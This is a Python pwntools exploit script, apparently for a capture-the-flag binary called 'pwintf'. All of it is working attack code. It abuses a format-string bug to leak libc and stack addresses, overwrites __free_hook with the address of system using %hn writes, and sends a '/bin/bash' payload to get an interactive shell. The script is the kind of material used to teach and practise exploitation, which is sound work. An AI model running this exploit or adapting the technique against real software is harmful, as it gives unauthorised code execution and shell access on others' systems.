exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host localhost --port 1442 pwintf
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('pwintf')
libc = ELF('libc.so.6')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'localhost'
port = int(args.PORT or 1442)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      PIE enabled

io = start()

io.recvline()

io.sendline(b"%11$p\n%6$p\n%13$p")

libc.address = int(io.recvuntil(b"\n", drop=True), 0) - libc.libc_start_main_return
stack_addr_0 = int(io.recvuntil(b"\n", drop=True), 0) - 0x20
stack_addr_1 = int(io.recvuntil(b"\n", drop=True), 0)

stack_offset = 6 + (stack_addr_1 - stack_addr_0) // 8

io.info("Libc: " + hex(libc.address))
io.info("Stack 0: " + hex(stack_addr_0))
io.info("Stack 1: " + hex(stack_addr_1))



def write_on_stack(value, offset):
    for i in range(4):
        io.sendline("%{}c%13$hn".format((stack_addr_0 + 8 * (offset - 6) + 2 * i) % 0x10000).encode())
        io.recvline(1)

        chars = (value // (0x10000 ** i)) % 0x10000
        if chars == 0:
            io.sendline("%{}$hn".format(stack_offset).encode())
        else:
            io.sendline("%{}c%{}$hn".format(chars, stack_offset).encode())
        io.recvline(1)

print(hex(libc.address))

write_on_stack(libc.sym['__free_hook'], 8)
write_on_stack(libc.sym['__free_hook'] + 2, 9)
write_on_stack(libc.sym['__free_hook'] + 4, 10)
write_on_stack(libc.sym['__free_hook'] + 6, 11)

target = libc.sym['system']
payload = "/bin/bash #"
written = len(payload)

chars = ((target % 0x10000) - (written % 0x10000) + 0x10000) % 0x10000
written += chars
payload += "%{}c".format(chars)
payload += "%8$hn"

chars = (((target // 0x10000) % 0x10000) - (written % 0x10000) + 0x10000) % 0x10000
written += chars
payload += "%{}c".format(chars)
payload += "%9$hn"

chars = (((target // 0x100000000) % 0x10000) - (written % 0x10000) + 0x10000) % 0x10000
written += chars
payload += "%{}c".format(chars)
payload += "%10$hn"

chars = (((target // 0x1000000000000) % 0x10000) - (written % 0x10000) + 0x10000) % 0x10000
written += chars
payload += "%{}c".format(chars)
payload += "%11$hn"

io.sendline(payload.encode())
io.recvline()

io.interactive()